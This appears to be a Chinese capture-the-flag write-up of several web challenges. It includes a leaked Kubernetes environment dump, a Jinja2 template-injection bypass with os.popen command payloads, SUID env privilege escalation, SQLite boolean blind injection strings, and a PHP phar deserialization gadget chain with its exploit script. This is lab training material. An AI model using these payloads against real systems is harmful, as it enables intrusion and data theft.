1619_1B4B_PORT=tcp://10.96.173.56:8080KUBERNETES_PORT_443_TCP_PORT=443CHALLENGE_019A2F96_3005_019A1163_0D60_PORT=tcp://10.104.193.110:80CHALLENGE_019A120E_3F96_019A2097_1701_SERVICE_HOST=10.101.48.95CHALLENGE_019A2F96_3005_019A1163_0D60_SERVICE_PORT=80CHALLENGE_019A120E_3F96_019A1163_EC72_PORT=tcp://10.97.83.117:11451CHALLENGE_019A120E_3F96_019A1163_EC72_SERVICE_PORT=11451KUBERNETES_PORT_443_TCP_PROTO=tcpCHALLENGE_019A3930_7228_019A20C5_9E59_SERVICE_PORT_PORT_1608=1608CHALLENGE_019A2F96_3005_019A1452_7100_PORT_80_TCP=tcp://10.98.3.193:80CHALLENGE_019A14F3_38E2_019A1183_1B52_SERVICE_PORT_PORT_8080=8080CHALLENGE_019A14B0_CA72_019A1160_0021_PORT_80_TCP_ADDR=10.98.170.4CHALLENGE_019A2F96_3005_019A116C_5742_SERVICE_HOST=10.109.69.25CHALLENGE_019A14F3_38E2_019A1561_42FC_PORT=tcp://10.101.143.170:8080CHALLENGE_019A14F3_38E2_019A1561_42FC_SERVICE_PORT=8080LANG=C.UTF-8CHALLENGE_019A01F3_1DAB_019A1169_2434_PORT_9999_TCP_ADDR=10.99.26.40CHALLENGE_019A39FF_DB7B_019A25B9_0131_PORT_80_TCP_ADDR=10.106.41.208CHALLENGE_019A01D2_4CF4_019A1163_E18C_SERVICE_HOST=10.102.122.24CHALLENGE_019A144E_ED12_019A259E_BD4B_SERVICE_HOST=10.104.10.227CHALLENGE_019A120E_3F96_019A1163_EC72_PORT_11451_TCP_PORT=11451CHALLENGE_019A10D0_2FA4_019A3A7C_EFC7_PORT_3000_TCP_PORT=3000CHALLENGE_019A14B0_82BF_019A271D_1BA7_PORT_80_TCP=tcp://10.108.245.2:80CHALLENGE_019A2B37_D8ED_019A1189_B8EA_SERVICE_PORT_PORT_8080=8080CHALLENGE_019A09FC_908C_019A2FD8_DC35_PORT_3000_TCP_ADDR=10.105.211.61CHALLENGE_019A3930_7228_019A13C4_5DC1_SERVICE_PORT_PORT_1608=1608CHALLENGE_019A01F3_1DAB_019A1106_F63C_PORT_9999_TCP=tcp://10.103.9.232:9999CHALLENGE_019A120E_3F96_019A1163_EC72_PORT_11451_TCP_PROTO=tcpCHALLENGE_019A10D0_2FA4_019A3A7C_EFC7_PORT_3000_TCP_PROTO=tcpCHALLENGE_019A10D0_2FA4_019A16D9_C06C_PORT_3000_TCP_ADDR=10.100.210.27CHALLENGE_019A2F96_3005_019A116C_5742_SERVICE_PORT_PORT_80=80CHALLENGE_019A14BC_61DE_019A196C_954A_PORT_8080_TCP=tcp://10.100.14.254:8080CHALLENGE_019A14F3_38E2_019A1619_1B4B_PORT_8080_TCP=tcp://10.96.173.56:8080CHALLENGE_019A3030_9A18_019A1177_1FF0_PORT_9999_TCP=tcp://10.101.68.107:9999CHALLENGE_019A01D2_4CF4_019A1163_E18C_SERVICE_PORT_PORT_80=80CHALLENGE_019A14B0_CA72_019A1160_0021_PORT_80_TCP_PORT=80CHALLENGE_019A14F3_38E2_019A1172_7DFE_SERVICE_PORT_PORT_8080=8080CHALLENGE_019A277E_5882_019A1404_B071_SERVICE_HOST=10.96.89.68CHALLENGE_019A01F3_1DAB_019A1169_2434_PORT_9999_TCP_PORT=9999CHALLENGE_019A09FC_908C_019A271D_1BA7_SERVICE_PORT_PORT_3000=3000CHALLENGE_019A1374_D56D_019A1169_2434_SERVICE_HOST=10.102.235.195CHALLENGE_019A2F96_3005_019A11A4_3A42_SERVICE_HOST=10.102.138.59CHALLENGE_019A2F4D_887A_019A1413_E2D6_SERVICE_PORT_PORT_8080=8080CHALLENGE_019A14B0_CA72_019A1160_0021_PORT_80_TCP_PROTO=tcpCHALLENGE_019A2F96_3005_019A10F8_26AC_PORT_80_TCP_ADDR=10.102.233.156CHALLENGE_019A39FF_DB7B_019A25B9_0131_PORT_80_TCP_PORT=80CHALLENGE_019A120E_3F96_019A2097_1701_PORT_11451_TCP_ADDR=10.101.48.95PYTHON_VERSION=3.11.14CHALLENGE_019A14F3_38E2_019A1561_42FC_PORT_8080_TCP=tcp://10.101.143.170:8080CHALLENGE_019A2B37_D8ED_019A1163_0D60_SERVICE_HOST=10.100.188.219CHALLENGE_019A09FC_908C_019A2FD8_DC35_PORT_3000_TCP_PORT=3000CHALLENGE_019A2F96_3005_019A1163_0D60_PORT_80_TCP_ADDR=10.104.193.110CHALLENGE_019A39FF_DB7B_019A20C5_9E59_PORT_80_TCP=tcp://10.109.15.4:80CHALLENGE_019A2B37_D8ED_019A1163_0D60_PORT_8080_TCP_ADDR=10.100.188.219CHALLENGE_019A10D0_2FA4_019A16D9_C06C_PORT_3000_TCP_PORT=3000CHALLENGE_019A2A57_B142_019A1178_33A1_SERVICE_HOST=10.101.5.173CHALLENGE_019A39FF_DB7B_019A25B9_0131_PORT_80_TCP_PROTO=tcpCHALLENGE_019A01F3_1DAB_019A1169_2434_PORT_9999_TCP_PROTO=tcpCHALLENGE_019A120E_3F96_019A2097_1701_SERVICE_PORT=11451CHALLENGE_019A14BC_61DE_019A115B_F254_SERVICE_PORT_PORT_8080=8080CHALLENGE_019A120E_3F96_019A2097_1701_PORT=tcp://10.101.48.95:11451CHALLENGE_019A10D0_2FA4_019A16D9_C06C_PORT_3000_TCP_PROTO=tcpCHALLENGE_019A09FC_908C_019A2FD8_DC35_PORT_3000_TCP_PROTO=tcpCHALLENGE_019A2F96_3005_019A11A4_3A42_SERVICE_PORT_PORT_80=80CHALLENGE_019A2F96_3005_019A10F8_26AC_PORT_80_TCP_PORT=80CHALLENGE_019A2F96_3005_019A116C_5742_PORT=tcp://10.109.69.25:80CHALLENGE_019A2B37_D8ED_019A25BD_0D7A_SERVICE_PORT_PORT_8080=8080CHALLENGE_019A2A57_B142_019A1178_33A1_SERVICE_PORT_PORT_80=80CHALLENGE_019A09FC_908C_019A3D0B_DC2F_PORT_3000_TCP_ADDR=10.110.8.123CHALLENGE_019A2F96_3005_019A116C_5742_SERVICE_PORT=80CHALLENGE_019A120E_3F96_019A2097_1701_PORT_11451_TCP_PORT=11451CHALLENGE_019A120E_3F96_019A2097_1701_PORT_11451_TCP_PROTO=tcpCHALLENGE_019A2B37_D8ED_019A1163_0D60_PORT_8080_TCP_PORT=8080CHALLENGE_019A2F96_3005_019A1163_0D60_PORT_80_TCP_PORT=80CHALLENGE_019A01D2_4CF4_019A1163_E18C_PORT=tcp://10.102.122.24:80CHALLENGE_019A2B37_D8ED_019A161B_F82E_PORT_8080_TCP_ADDR=10.107.77.251CHALLENGE_019A2F96_3005_019A10F8_26AC_PORT_80_TCP_PROTO=tcpCHALLENGE_019A01D2_4CF4_019A1163_E18C_SERVICE_PORT=80CHALLENGE_019A3930_7228_019A25B9_0131_SERVICE_PORT_PORT_1608=1608KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443CHALLENGE_019A144E_ED12_019A259E_BD4B_PORT=tcp://10.104.10.227:19937KUBERNETES_SERVICE_PORT_HTTPS=443CHALLENGE_019A144E_ED12_019A259E_BD4B_SERVICE_PORT=19937CHALLENGE_019A2B37_D8ED_019A161B_F82E_SERVICE_HOST=10.107.77.251CHALLENGE_019A10D0_2FA4_019A3A54_A4AD_PORT_3000_TCP_ADDR=10.106.2.207CHALLENGE_019A2B37_D8ED_019A1163_0D60_PORT_8080_TCP_PROTO=tcpCHALLENGE_019A01F3_1DAB_019A1106_F63C_SERVICE_HOST=10.103.9.232CHALLENGE_019A2A57_B142_019A1164_4D72_SERVICE_HOST=10.96.137.49CHALLENGE_019A2F96_3005_019A1163_0D60_PORT_80_TCP_PROTO=tcpKUBERNETES_SERVICE_HOST=10.96.0.1CHALLENGE_019A2A57_B142_019A1164_38E2_SERVICE_HOST=10.109.157.128CHALLENGE_019A10D0_2FA4_019A3A7C_EFC7_PORT_3000_TCP=tcp://10.100.35.136:3000CHALLENGE_019A09FC_908C_019A3D0B_DC2F_PORT_3000_TCP_PORT=3000CHALLENGE_019A3030_9A18_019A1177_1FF0_SERVICE_HOST=10.101.68.107CHALLENGE_019A120E_3F96_019A1163_EC72_PORT_11451_TCP=tcp://10.97.83.117:11451CHALLENGE_019A2F4D_887A_019A1190_1058_SERVICE_PORT_PORT_8080=8080CHALLENGE_019A277E_5882_019A1404_B071_PORT=tcp://10.96.89.68:9999CHALLENGE_019A277E_5882_019A1404_B071_SERVICE_PORT=9999CHALLENGE_019A392B_AF8E_019A1163_EC72_SERVICE_PORT_PORT_8000=8000PWD=/opt/___web_very_strange_42___CHALLENGE_019A1374_D56D_019A1169_2434_SERVICE_PORT=9999CHALLENGE_019A2F4D_887A_019A173B_A0B1_SERVICE_PORT_PORT_8080=8080CHALLENGE_019A2F96_3005_019A11A4_3A42_PORT=tcp://10.102.138.59:80CHALLENGE_019A2A57_B142_019A1164_4D72_SERVICE_PORT_PORT_80=80CHALLENGE_019A1374_D56D_019A1169_2434_PORT=tcp://10.102.235.195:9999CHALLENGE_019A14F3_38E2_019A1183_1B52_SERVICE_HOST=10.106.42.202CHALLENGE_019A09FC_908C_019A3D0B_DC2F_PORT_3000_TCP_PROTO=tcpCHALLENGE_019A01D2_4CF4_019A35CA_EAD7_SERVICE_HOST=10.98.143.81CHALLENGE_019A10D0_2FA4_019A3A7C_EFC7_SERVICE_HOST=10.100.35.136CHALLENGE_019A2B37_D8ED_019A161B_F82E_PORT_8080_TCP_PORT=8080CHALLENGE_019A2F96_3005_019A11A4_3A42_SERVICE_PORT=80CHALLENGE_019A14F3_38E2_019A1183_1B52_PORT_8080_TCP_ADDR=10.106.42.202CHALLENGE_019A3930_7228_019A20C5_9E59_PORT_1608_TCP_ADDR=10.100.199.68CHALLENGE_019A2A57_B142_019A1178_33A1_SERVICE_PORT=80CHALLENGE_019A2B37_D8ED_019A1189_B8EA_SERVICE_HOST=10.96.18.82CHALLENGE_019A2B37_D8ED_019A1F07_13E0_SERVICE_PORT_PORT_8080=8080CHALLENGE_019A2B37_D8ED_019A1163_0D60_SERVICE_PORT=8080CHALLENGE_019A2B37_D8ED_019A1163_0D60_PORT=tcp://10.100.188.219:8080CHALLENGE_019A2B37_D8ED_019A1189_B8EA_PORT_8080_TCP_ADDR=10.96.18.82CHALLENGE_019A3930_7228_019A20C5_9E59_SERVICE_HOST=10.100.199.68CHALLENGE_019A10D0_2FA4_019A3A54_A4AD_PORT_3000_TCP_PORT=3000CHALLENGE_019A14B0_CA72_019A1160_0021_PORT_80_TCP=tcp://10.98.170.4:80CHALLENGE_019A277E_5882_019A1404_B071_SERVICE_PORT_PORT_9999=9999CHALLENGE_019A144E_ED12_019A259E_BD4B_SERVICE_PORT_PORT_19937=19937CHALLENGE_019A2A57_B142_019A1164_38E2_SERVICE_PORT_PORT_80=80CHALLENGE_019A2B37_D8ED_019A161B_F82E_PORT_8080_TCP_PROTO=tcpCHALLENGE_019A2A57_B142_019A1178_33A1_PORT=tcp://10.101.5.173:80CHALLENGE_019A3930_7228_019A13C4_5DC1_PORT_1608_TCP_ADDR=10.107.33.156CHALLENGE_019A01F3_1DAB_019A1169_2434_PORT_9999_TCP=tcp://10.99.26.40:9999CHALLENGE_019A39FF_DB7B_019A25B9_0131_PORT_80_TCP=tcp://10.106.41.208:80CHALLENGE_019A2F96_3005_019A116C_5742_PORT_80_TCP_ADDR=10.109.69.25CHALLENGE_019A10D0_2FA4_019A3A54_A4AD_PORT_3000_TCP_PROTO=tcpCHALLENGE_019A1374_D56D_019A1169_2434_SERVICE_PORT_PORT_9999=9999CHALLENGE_019A01D2_4CF4_019A35CA_EAD7_SERVICE_PORT_PORT_80=80CHALLENGE_019A14F3_38E2_019A1183_1B52_PORT_8080_TCP_PORT=8080CHALLENGE_019A10D0_2FA4_019A16D9_C06C_PORT_3000_TCP=tcp://10.100.210.27:3000CHALLENGE_019A3930_7228_019A13C4_5DC1_SERVICE_HOST=10.107.33.156CHALLENGE_019A2F96_3005_019A1452_7100_SERVICE_HOST=10.98.3.193CHALLENGE_019A14F3_38E2_019A1172_7DFE_PORT_8080_TCP_ADDR=10.96.78.40CHALLENGE_019A09FC_908C_019A2FD8_DC35_PORT_3000_TCP=tcp://10.105.211.61:3000CHALLENGE_019A01D2_4CF4_019A1163_E18C_PORT_80_TCP_ADDR=10.102.122.24CHALLENGE_019A14F3_38E2_019A1172_7DFE_SERVICE_HOST=10.96.78.40CHALLENGE_019A2F4D_887A_019A14E4_E386_SERVICE_PORT_PORT_8080=8080CHALLENGE_019A3930_7228_019A20C5_9E59_PORT_1608_TCP_PORT=1608CHALLENGE_019A10D0_2FA4_019A16D9_C06C_SERVICE_HOST=10.100.210.27CHALLENGE_019A09FC_908C_019A271D_1BA7_PORT_3000_TCP_ADDR=10.97.189.159CHALLENGE_019A2F4D_887A_019A1413_E2D6_SERVICE_HOST=10.100.105.198CHALLENGE_019A2B37_D8ED_019A161B_F82E_PORT=tcp://10.107.77.251:8080CHALLENGE_019A2B37_D8ED_019A1189_B8EA_PORT_8080_TCP_PORT=8080CHALLENGE_019A2F4D_887A_019A1413_E2D6_PORT_8080_TCP_ADDR=10.100.105.198CHALLENGE_019A09FC_908C_019A2FD8_DC35_SERVICE_HOST=10.105.211.61CHALLENGE_019A14F3_38E2_019A1183_1B52_PORT_8080_TCP_PROTO=tcpCHALLENGE_019A3930_7228_019A20C5_9E59_PORT_1608_TCP_PROTO=tcpCHALLENGE_019A2B37_D8ED_019A161B_F82E_SERVICE_PORT=8080CHALLENGE_019A14B0_82BF_019A271D_1BA7_SERVICE_HOST=10.108.245.2HOME=/opt/___web_very_strange_42___

得到一个路径/opt/___web_very_strange_42___HINT=用我提个权吧

1
/read?filename=/opt/___web_very_strange_42___/app.py

得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from flask import Flask, request, render_template, render_template_string, redirect, url_for, session
import os

app = Flask(__name__, template_folder="templates", static_folder="static")
app.secret_key = "key_ciallo_secret"

USERS = {}


def waf(payload: str) -> str:
print(len(payload))
if not payload:
return ""

if len(payload) not in (114, 514):
return payload.replace("(", "")
else:
waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
for w in waf:
if w in payload:
raise ValueError(f"waf")

return payload


@app.route("/")
def index():
user = session.get("user")
return render_template("index.html", user=user)


@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = (request.form.get("username") or "")
password = request.form.get("password") or ""
if not username or not password:
return render_template("register.html", error="用户名和密码不能为空")
if username in USERS:
return render_template("register.html", error="用户名已存在")
USERS[username] = {"password": password}
session["user"] = username
return redirect(url_for("profile"))
return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = (request.form.get("username") or "").strip()
password = request.form.get("password") or ""
user = USERS.get(username)
if not user or user.get("password") != password:
return render_template("login.html", error="用户名或密码错误")
session["user"] = username
return redirect(url_for("profile"))
return render_template("login.html")


@app.route("/logout")
def logout():
session.clear()
return redirect(url_for("index"))


@app.route("/profile")
def profile():
user = session.get("user")
if not user:
return redirect(url_for("login"))
name_raw = request.args.get("name", user)

try:
filtered = waf(name_raw)
tmpl = f"欢迎,{filtered}"
rendered_snippet = render_template_string(tmpl)
error_msg = None
except Exception as e:
rendered_snippet = ""
error_msg = f"渲染错误: {e}"
return render_template(
"profile.html",
content=rendered_snippet,
name_input=name_raw,
user=user,
error_msg=error_msg,
)


@app.route("/read", methods=["GET", "POST"])
def read_file():
user = session.get("user")
if not user:
return redirect(url_for("login"))

base_dir = os.path.join(os.path.dirname(__file__), "story")
try:
entries = sorted([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))])
except FileNotFoundError:
entries = []

filename = ""
if request.method == "POST":
filename = request.form.get("filename") or ""
else:
filename = request.args.get("filename") or ""

content = None
error = None

if filename:
sanitized = filename.replace("../", "")
target_path = os.path.join(base_dir, sanitized)
if not os.path.isfile(target_path):
error = f"文件不存在: {sanitized}"
else:
with open(target_path, "r", encoding="utf-8", errors="ignore") as f:
content = f.read()

return render_template("read.html", files=entries, content=content, filename=filename, error=error, user=user)


if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=False)

明显在/profile?name=有ssti

要使用(则payload长度需为114,可以用{#xxx#}占位

1
2
3
4
5
pay = '{{ url_for[("__glo" ~ "bals__")]["os"].popen("/usr/local/bin/env cat /flag").read() }}'

res = pay + '{#' + 'A'*(110-len(pay)) + '#}'
print(res)

{{ url_for[("__glo" ~ "bals__")]["os"].popen("ls / -al ").read() }}{#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#}

需要提权读flag

1
{{ url_for[("__glo" ~ "bals__")]["os"].popen("find / -perm -u=s -type f 2>/dev/null").read() }}{#AAAAAAAAAAAAAAA#}

可以看到env有suid

1
{{ url_for[("__glo" ~ "bals__")]["os"].popen("/usr/local/bin/env whoami").read() }}{#AAAAAAAAAAAAAAAAAAAAAAAAAAA#}

成功提权

1
{{ url_for[("__glo" ~ "bals__")]["os"].popen("/usr/local/bin/env cat /flag").read() }}{#AAAAAAAAAAAAAAAAAAAAAAAA#}

Sequal No

存在sql注入

只有3种回显

存在用户/不存在用户/非法输入

存在用户就是表达式为真

过滤了空格,布尔盲注表名

1
/check.php?name=1'or/**/substr((select/**/group_concat(name)/**/from/**/sqlite_master),1-100,1)='ascii可打印字符'--
1
/check.php?name=1%27or%2F%2A%2A%2Fsubstr%28%28select%2F%2A%2A%2Fgroup_concat%28name%29%2F%2A%2A%2Ffrom%2F%2A%2A%2Fsqlite_master%29%2C14%2C1%29%3D%27a%27--

注建表语句

1
1'or/**/substr((select/**/sql/**/from/**/sqlite_master/**/where/**/name='users'),{{int(0-200)}},1)='ascii可打印字符'--

python不知道为什么一直拒绝访问,所以用yakit爆

最后得到表

1
users,sqlite_autoindex_users_1,sqlite_sequence

users的建表语句

1
2
3
4
5
6
7
CREATE TABLE users(
id INTEGER PRIMARY KEY,
username TEXT,
password TEXT,
is_active INTEGER, -- 或 BOOLEAN/TEXT
secret TEXT
);

flag在secret

1
1'or/**/substr((select/**/secret/**/from/**/users),N,1)='X'--
1
SYC{YourPoem-019a3f17b7bf78c1b78f4721beb44480}

ez-seralize

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
<?php
ini_set('display_errors', '0');
$filename = isset($_GET['filename']) ? $_GET['filename'] : null;

$content = null;
$error = null;

if (isset($filename) && $filename !== '') {
$balcklist = ["../","%2e","..","data://","\n","input","%0a","%","\r","%0d","php://","/etc/passwd","/proc/self/environ","php:file","filter"];
foreach ($balcklist as $v) {
if (strpos($filename, $v) !== false) {
$error = "no no no";
break;
}
}

if ($error === null) {
if (isset($_GET['serialized'])) {
require 'function.php';
$file_contents= file_get_contents($filename);
if ($file_contents === false) {
$error = "Failed to read seraizlie file or file does not exist: " . htmlspecialchars($filename);
} else {
$content = $file_contents;
}
} else {
$file_contents = file_get_contents($filename);
if ($file_contents === false) {
$error = "Failed to read file or file does not exist: " . htmlspecialchars($filename);
} else {
$content = $file_contents;
}
}
}
} else {
$error = null;
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>File Reader</title>
<style>
:root{
--card-bg: #ffffff;
--page-bg: linear-gradient(135deg,#f0f7ff 0%,#fbfbfb 100%);
--accent: #1e88e5;
--muted: #6b7280;
--success: #16a34a;
--danger: #dc2626;
--card-radius: 12px;
--card-pad: 20px;
}
html,body{height:100%;margin:0;font-family: Inter, "Segoe UI", Roboto, "Helvetica Neue", Arial;}
body{
background: var(--page-bg);
display:flex;
align-items:center;
justify-content:center;
padding:24px;
}
.card{
width:100%;
max-width:820px;
background:var(--card-bg);
border-radius:var(--card-radius);
box-shadow: 0 10px 30px rgba(16,24,40,0.08);
padding:var(--card-pad);
}
h1{margin:0 0 6px 0;font-size:18px;color:#0f172a;}
p.lead{margin:0 0 18px 0;color:var(--muted);font-size:13px}
form.controls{display:flex;gap:10px;flex-wrap:wrap;align-items:center;margin-bottom:14px}
input[type="text"]{
flex:1;
padding:10px 12px;
border:1px solid #e6e9ef;
border-radius:8px;
font-size:14px;
outline:none;
transition:box-shadow .12s ease,border-color .12s ease;
}
input[type="text"]:focus{box-shadow:0 0 0 4px rgba(30,136,229,0.08);border-color:var(--accent)}
button.btn{
padding:10px 16px;
background:var(--accent);
color:white;
border:none;
border-radius:8px;
cursor:pointer;
font-weight:600;
}
button.btn.secondary{
background:#f3f4f6;color:#0f172a;font-weight:600;border:1px solid #e6e9ef;
}
.hint{font-size:12px;color:var(--muted);margin-top:6px}
.result{
margin-top:14px;
border-radius:8px;
overflow:hidden;
border:1px solid #e6e9ef;
}
.result .meta{
padding:10px 12px;
display:flex;
justify-content:space-between;
align-items:center;
background:#fbfdff;
font-size:13px;
color:#111827;
}
.result .body{
padding:12px;
background:#0b1220;
color:#e6eef8;
font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, "Roboto Mono", monospace;
font-size:13px;
line-height:1.5;
max-height:520px;
overflow:auto;
white-space:pre-wrap;
word-break:break-word;
}
.alert{padding:10px 12px;border-radius:8px;font-weight:600;margin-top:12px;}
.alert.warn{background:#fff7ed;color:#92400e;border:1px solid #ffedd5}
.alert.error{background:#fff1f2;color:#9f1239;border:1px solid #fecaca}
.alert.info{background:#ecfeff;color:#064e3b;border:1px solid #bbf7d0}
.footer{margin-top:12px;font-size:12px;color:var(--muted)}
@media (max-width:640px){
.card{padding:16px}
.result .meta{font-size:12px}
}
</style>
</head>
<body>
<div class="card">
<h1>📄 File Reader</h1>
<p class="lead">在下面输入要读取的文件</p>

<form class="controls" method="get" action="">
<input type="text" name="filename" value="<?php echo isset($_GET['filename']) ? htmlspecialchars($_GET['filename'], ENT_QUOTES) : ''; ?>" />
<button type="submit" class="btn">读取文件</button>
<a class="btn secondary" href="">重置</a>
</form>


<?php if ($error !== null && $error !== ''): ?>
<div class="alert error" role="alert"><?php echo htmlspecialchars($error, ENT_QUOTES); ?></div>
<?php endif; ?>
<!--RUN printf "open_basedir=/var/www/html:/tmp\nsys_temp_dir=/tmp\nupload_tmp_dir=/tmp\n" \
> /usr/local/etc/php/conf.d/zz-open_basedir.ini-->

<?php if ($content !== null): ?>
<div class="result" aria-live="polite">
<div class="meta">
<div>文件:<?php echo htmlspecialchars($filename, ENT_QUOTES); ?></div>
<div style="font-size:12px;color:var(--muted)"><?php echo strlen($content); ?> bytes</div>
</div>
<div class="body"><pre><?php echo htmlspecialchars($content, ENT_QUOTES); ?></pre></div>
</div>
<?php elseif ($error === null && isset($_GET['filename'])): ?>
<div class="alert warn">未能读取内容或文件为空。</div>
<?php endif; ?>
</div>
</body>
</html>

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
class A {
public $file;
public $luo;

public function __construct() {
}

public function __toString() {
$function = $this->luo;
return $function();
}
}

class B {
public $a;
public $test;

public function __construct() {
}

public function __wakeup()
{
echo($this->test);
}

public function __invoke() {
$this->a->rce_me();
}
}

class C {
public $b;

public function __construct($b = null) {
$this->b = $b;
}

public function rce_me() {
echo "Success!\n";
system("cat /flag/flag.txt > /tmp/flag");
}
}

uploads.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
<?php
$uploadDir = __DIR__ . '/uploads/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
$whitelist = ['txt', 'log', 'jpg', 'jpeg', 'png', 'zip','gif','gz'];
$allowedMimes = [
'txt' => ['text/plain'],
'log' => ['text/plain'],
'jpg' => ['image/jpeg'],
'jpeg' => ['image/jpeg'],
'png' => ['image/png'],
'zip' => ['application/zip', 'application/x-zip-compressed', 'multipart/x-zip'],
'gif' => ['image/gif'],
'gz' => ['application/gzip', 'application/x-gzip']
];

$resultMessage = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];

if ($file['error'] === UPLOAD_ERR_OK) {
$originalName = $file['name'];
$ext = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
if (!in_array($ext, $whitelist, true)) {
die('File extension not allowed.');
}

$mime = $file['type'];
if (!isset($allowedMimes[$ext]) || !in_array($mime, $allowedMimes[$ext], true)) {
die('MIME type mismatch or not allowed. Detected: ' . htmlspecialchars($mime));
}

$safeBaseName = preg_replace('/[^A-Za-z0-9_\-\.]/', '_', basename($originalName));
$safeBaseName = ltrim($safeBaseName, '.');
$targetFilename = time() . '_' . $safeBaseName;

file_put_contents('/tmp/log.txt', "upload file success: log, MIME: $mime\n");

$targetPath = $uploadDir . $targetFilename;
if (move_uploaded_file($file['tmp_name'], $targetPath)) {
@chmod($targetPath, 0644);
$resultMessage = '<div class="success"> File uploaded successfully '. '</div>';
} else {
$resultMessage = '<div class="error"> Failed to move uploaded file.</div>';
}
} else {
$resultMessage = '<div class="error"> Upload error: ' . $file['error'] . '</div>';
}
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Secure File Upload</title>
<style>
body {
font-family: "Segoe UI", Arial, sans-serif;
background: linear-gradient(135deg, #e3f2fd, #f8f9fa);
height: 100vh;
display: flex;
align-items: center;
justify-content: center;
}
.container {
background: #fff;
padding: 2em 3em;
border-radius: 16px;
box-shadow: 0 8px 24px rgba(0,0,0,0.1);
max-width: 400px;
width: 90%;
text-align: center;
}
h1 {
color: #0078d7;
margin-bottom: 0.8em;
font-size: 1.6em;
}
input[type="file"] {
display: block;
margin: 1em auto;
font-size: 0.95em;
}
button {
background-color: #0078d7;
color: white;
border: none;
padding: 0.6em 1.4em;
border-radius: 6px;
cursor: pointer;
transition: 0.2s ease;
}
button:hover {
background-color: #005ea6;
}
.success, .error {
margin-top: 1em;
padding: 0.8em;
border-radius: 8px;
font-weight: 600;
}
.success {
background: #e8f5e9;
color: #2e7d32;
border: 1px solid #81c784;
}
.error {
background: #ffebee;
color: #c62828;
border: 1px solid #ef9a9a;
}
.footer {
margin-top: 1.5em;
font-size: 0.85em;
color: #666;
}
</style>
</head>
<body>
<div class="container">
<h1>📤 File Upload Portal</h1>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file" required>
<button type="submit">Upload</button>
</form>
<?= $resultMessage ?>
<div class="footer">Allowed types: txt, log, jpg, jpeg, png, zip</div>
</div>
</body>
</html>

没有unseralize()+upload+file_get_contents+没有过滤phar://一眼phar反序列化

1
2
3
4
5
6
7
8
9
10
unserialize()
└─ 触发 B::__wakeup()
└─ echo $this->test; // $this->test 是 A 实例
└─ 触发 A::__toString() // 因为 A 被当作字符串使用
└─ $function = $this->luo; // $luo = [$b, '__invoke']
└─ return $function(); // 等价于 $b->__invoke()
└─ B::__invoke()
└─ $this->a->rce_me(); // $this->a 是 C 实例
└─ C::rce_me()
└─ system("cat /flag/flag.txt > /tmp/flag");

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

class A {
public $file;
public $luo;
}

class B {
public $a;
public $test;
}

class C {
public $b;
public function rce_me() {
system("cat /flag/flag.txt > /tmp/flag");
}
}

// 构造对象
$c = new C();
$b = new B();
$b->a = $c; // B::$a = C instance

$a = new A();
$a->file = $b; // A::$file = B instance
$a->luo = [$b, '__invoke']; // callable array, serializable!

$b->test = $a; // B::$test = A instance → echo triggers __toString

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($b); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

改后缀为zip上传

1
/?filename=phar://uploads/1762013645_phar.zip/test.txt&serialized=1

触发phar反序列化

/tmp/flag

